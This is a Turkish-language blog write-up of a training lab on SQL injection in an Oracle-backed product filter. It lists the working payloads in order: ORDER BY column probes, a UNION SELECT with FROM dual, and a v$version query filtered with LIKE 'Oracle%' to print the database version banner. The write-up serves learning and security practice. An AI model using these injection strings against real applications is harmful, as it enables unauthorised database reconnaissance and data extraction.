top of page

Lab: SQL injection attack, querying the database type and version on Oracle

Yazarın fotoğrafı: Songül ÖZÜGÜRLER
Songül ÖZÜGÜRLER
28 Nis
1 dakikada okunur

Lab: SQL injection attack, querying the database type and version on Oracle

Bu lab’de ürün filtreleme kısmında bir SQL injection açığı var. Ama olay sadece injection yapmak değil, Oracle tarafında doğru şekilde version bilgisini çekmek .

Kısa ama öğretici bir lab, o yüzden direkt nasıl ilerlediğimi anlatıyorum.

Parametre:

/filter?category=Gifts
Lab: SQL injection attack, querying the database type and version on Oracle

Buraya klasik bir test attım:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

ORDER BY 3 patladı → buradan direkt anladım: 2 kolon var

Lab: SQL injection attack, querying the database type and version on Oracle

Sonra UNION denedim:

Gifts' UNION SELECT 'abc','def' FROM dual--

Oracle olduğu için FROM dual eklemek gerekiyor, yoksa çalışmıyor.

Sayfada abc def çıktısını görünce:

- injection tamam

- kolonlar ekrana basılıyor

Lab: SQL injection attack, querying the database type and version on Oracle

Oracle’da version bilgisi v$version tablosunda, o yüzden şunu denedim:

Gifts' UNION SELECT BANNER,NULL FROM v$version--

Çalıştı ama çıkan şey şuydu:

CORE 11.2.0.2.0 Production
Lab: SQL injection attack, querying the database type and version on Oracle

İlk bakışta “yanlış mı yaptım?” gibi geliyor ama aslında değil.

v$version tek satır döndürmüyor. İçinde birden fazla kayıt var:

- Oracle Database …

- PL/SQL …

- CORE …

- TNS …

- NLSRTL …

Ama uygulama sadece tek satır gösteriyor .

Benim gördüğüm CORE satırıydı, ama lab’in istediği: Oracle Database ... ile başlayan satır

Burada yapmam gereken şey veriyi çekmek değil, doğru satırı filtrelemek .

Şu payload ile çözüldü:

Gifts' UNION SELECT BANNER,NULL FROM v$version WHERE BANNER LIKE 'Oracle%'--

Bu sefer ekranda şu çıktı geldi:

Lab: SQL injection attack, querying the database type and version on Oracle
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

ve lab çözüldü.

 
 
bottom of page